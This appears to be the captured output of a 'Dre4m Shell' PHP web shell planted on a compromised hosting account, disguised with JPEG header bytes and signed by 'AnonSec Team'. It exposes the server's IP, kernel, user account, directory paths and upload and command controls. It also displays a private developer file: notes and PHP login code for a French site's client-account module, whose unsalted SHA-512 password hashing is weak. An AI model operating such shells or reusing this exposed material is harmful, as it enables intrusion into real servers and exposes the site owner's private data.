ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/celine-petinger.fr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/celine-petinger.fr/AAA-Compte_Client.txt

Pour la creation d'un compte par administrateur voir le site sur server 7 de Picto:
westeat.fr /cp-admin pages AD-clients_ajout.php













// MODULE ESPACE PERSO DIABOLO


Si connexion avec le volet, les pages cachées du site sont accessibles.
Ou faire des pages spéciales en code php et tpl pour le compte perso (clients etc)

//****************************************************************************************//
//****************************************************************************************//
//****************************************************************************************//
//****************************************************************************************//
//****************************************************************************************//
//****************************************************************************************//





DANS BDD ESPACE CLIENTS OU CIAL IL FAUT AU MINIMUM /
===================================================
id, mail, date_insere, date_edit, last_ip, status, password, token

+ renseignements : nom, adresse,etc suivant module

NB le token ne sert à rien si pas de validation du compte de la part du client !!!!!
------------------------------------------------------------------------------------




                    ----------------------------------------------------



Dans fonctions.php
==================

// MODULE ESPACE PERSO
//****************************************************************************************//
//*************************************** Déconnexion ************************************//
//****************************************************************************************//

if(isset($_POST['disconnect'])) {
	unset($_SESSION['customer']);

// retourne a l accueil du site
header("location:accueil"); 

}

//****************************************************************************************//
//*************************************** Connexion **************************************//
//****************************************************************************************//

if(!empty($_POST['log_in'])) 
{
	$hashPassword = hash('sha512', $_POST['password']);

	$sql = $GLOBALS['bdd']->prepare('SELECT id, mail, date_insere, date_edit, status
		FROM a_clients 
		WHERE mail = :mail AND password = :password');

	$sql->execute(array('mail' => $_POST['mail'],
						'password' => $hashPassword));

	if($result = $sql->fetch()) 
	{
		if($result['status'] == 1) 
		{
			$status = "OK";
			
			$_SESSION['customer']['id'] = $result['id'];
			$_SESSION['customer']['mail'] = $result['mail'];
			$_SESSION['customer']['last_ip'] = $result['last_ip'];
			$_SESSION['customer']['ip'] = $_SERVER["REMOTE_ADDR"];
			$_SESSION['customer']['date_insere'] = date("d/m/Y", strtotime($result['date_insere']));
			$_SESSION['customer']['date_edit'] = date("d/m/Y", strtotime($result['date_edit']));

			$sql = $GLOBALS['bdd']->prepare('UPDATE a_clients
				SET date_edit = :date_edit, last_ip = :last_ip
				WHERE id = :customer');

			$sql->execute(array('date_edit' => date('Y-m-d'),
								'last_ip' => $_SERVER["REMOTE_ADDR"],
								'customer' => $_SESSION['customer']['id']));
//Par directement sur le module		
header("location:11-espace-pro"); 


                }
		else
		{
			$status = "error_not_activate"; 
		}	
	} 
	else 
	{
		$status = "error_log_in";
		unset($_SESSION['customer']);

	}	

	$smarty->assign("status", $status);

}
 


//****************************************************************************************//
//****************************** Vérification de l'identité ******************************//
//****************************************************************************************//

if(isset($_SESSION['customer']))
{
	$sql = $GLOBALS['bdd']->prepare('SELECT id
		FROM a_clients 
		WHERE id = :id AND mail = :mail');

	$sql->execute(array('id' => $_SESSION['customer']['id'],
						'mail' => $_SESSION['customer']['mail']));

	if($sql->fetch() && $_SESSION['customer']['ip'] == $_SERVER["REMOTE_ADDR"])
	{
		$smarty->assign("customer", $_SESSION['customer']);
	}
	else
	{
		unset($_SESSION['customer']);
	}
}



                      ----------------------------------------------------


Page ou VOLET connexion
=======================

Diabolo dans TOP.TPL

<!-- Compte-Client -->
<div id="volet_clos" class="no_1024">
		<div id="volet" style="background:{$couleur_fond_volet};">    
{if empty($customer)}        
<p style="text-align: center;background:{$couleur_fond_titre};padding:6px;font-size:12pt">{$text_titre}</p> 
<form class="form-horizontal" action="#" method="POST">                                  
<div style="text-align:center;padding-left:20px; padding-right:20px">  
                                  
			<div class="form-group" style="margin-bottom: 12px;">
				<div class="input-group">
					<div class="input-group-addon"  style="font-size:16pt">
						<i class="fa fa-envelope"></i>
					</div>
					<input type="email" name="mail" style="border-radius:0 5px 5px 0;height:37px;font-size:12pt" placeholder="E-mail *" required value="" class="form-control"/>
				</div>
			</div>
			<div class="form-group" style="margin-bottom: 12px;">
				<div class="input-group">
					<div class="input-group-addon"  style="font-size:16pt">
						<i class="fa fa-lock"></i>
					</div>
					<input type="password" name="password" style="border-radius:0 5px 5px 0;height:37px;font-size:12pt" placeholder="Mot de passe *" required value="" class="form-control"/>
				</div>
			</div>
      <input type="submit" name="log_in" class="btn btn-primary" style="background-color:#333;color:#fff;text-align: center;font-size:12pt" value="Connexion" />
</div>
</form>    
<br />			
			<a href="#volet" class="ouvrir" style="background:{$couleur_volet_ouverture_non_connecte}" aria-hidden="true">{$text_volet_ouverture_non_connecte}</a>
			<a href="#volet_clos" class="fermer" style="background:{$couleur_volet_referme};" aria-hidden="true">{$text_volet_referme}</a>      
{else}            
<p style="text-align: center;background:#038C91;padding:6px;font-size:12pt">{$text_titre}</p> 
<form class="form-horizontal" action="#" method="POST">                                  
<div style="text-align:center;padding-left:20px; padding-right:20px">                                   
<br />
        <input name="disconnect" class="btn btn-danger" type="submit" value="D&eacute;connexion" />
<br /><br />
 <p style="text-align: center;font-size:12pt;color:#333">{$text_bas_deconnexion}</p>
</div>
</form>    
<br />			
			<a href="#volet" class="ouvrir" style="background:{$couleur_volet_ouverture_connecte};" aria-hidden="true">{$text_volet_ouverture_connecte}</a>
			<a href="#volet_clos" class="fermer" style="background:{$couleur_volet_referme};" aria-hidden="true">{$text_volet_referme}</a>           
{/if}      
		</div>
	</div>
<!-- End /Compte-Client --> 


                              -------------------------------------------



dANS global.css.css
===================

/***********************************
         MODULE COMPTE-CLIENT       
**********************************/
		#volet {
			width: 280px; border-radius:0 0 8px 0;
			padding: 0;
      background:rgba(224, 224, 224, 0.9);
      
      color: #fff;	 z-index:5000
		}
		
		#volet a.ouvrir,
		#volet a.fermer {
			padding: 10px 25px;
      background:rgba(96, 90, 88, 0.8); 
			color: #fff;
			text-decoration: none;
		}
    
 		#volet a.ouvrir {
    background:rgba(159, 147, 144, 0.8)
		}   

		#volet {
			position: absolute;
			left: -280px;  /* test fixed + scroll, on retire la position top */
			-webkit-transition: all .5s ease-in;
			-moz-transition: all .5s ease-in;
			transition: all .5s ease-in;
		}
		#volet a.ouvrir {
			position: absolute;
			right: -107px;
			top: 63px;  width:170px;  text-align:center;   font-size: 20px;
			-webkit-transform: rotate(270deg);
			-moz-transform: rotate(270deg);
			-o-transform: rotate(270deg);
			-ms-transform: rotate(270deg);
			-moz-radius: 0 0 8px 8px;
			border-radius: 0 0 8px 8px;
		}
    
 
		#volet a.fermer {
			position: absolute;
			right: -107px;
			top: 63px;  width:170px;  text-align:center;   font-size: 20px;
			-webkit-transform: rotate(270deg);
			-moz-transform: rotate(270deg);
			-o-transform: rotate(270deg);
			-ms-transform: rotate(270deg);
			-moz-radius: 0 0 8px 8px;
			border-radius: 0 0 8px 8px;
		}    
    
		#volet a.fermer {
			display: none;
		}
		#volet:target {
			left: 0;
		}

		/* code pour la fermeture */

		#volet:target a.fermer {
			display: block; 
		}
		#volet:target a.ouvrir {
			display: none;
		}
		#volet_clos:target #volet {
			left: -280px;
		}
		
		 /* test fixed + scroll */
		#volet_clos {
			position: fixed; 
			top: 185px; left: 0; z-index:5000
		}
    
    
/***********************************************/   























Anon7 - 2022
AnonSec Team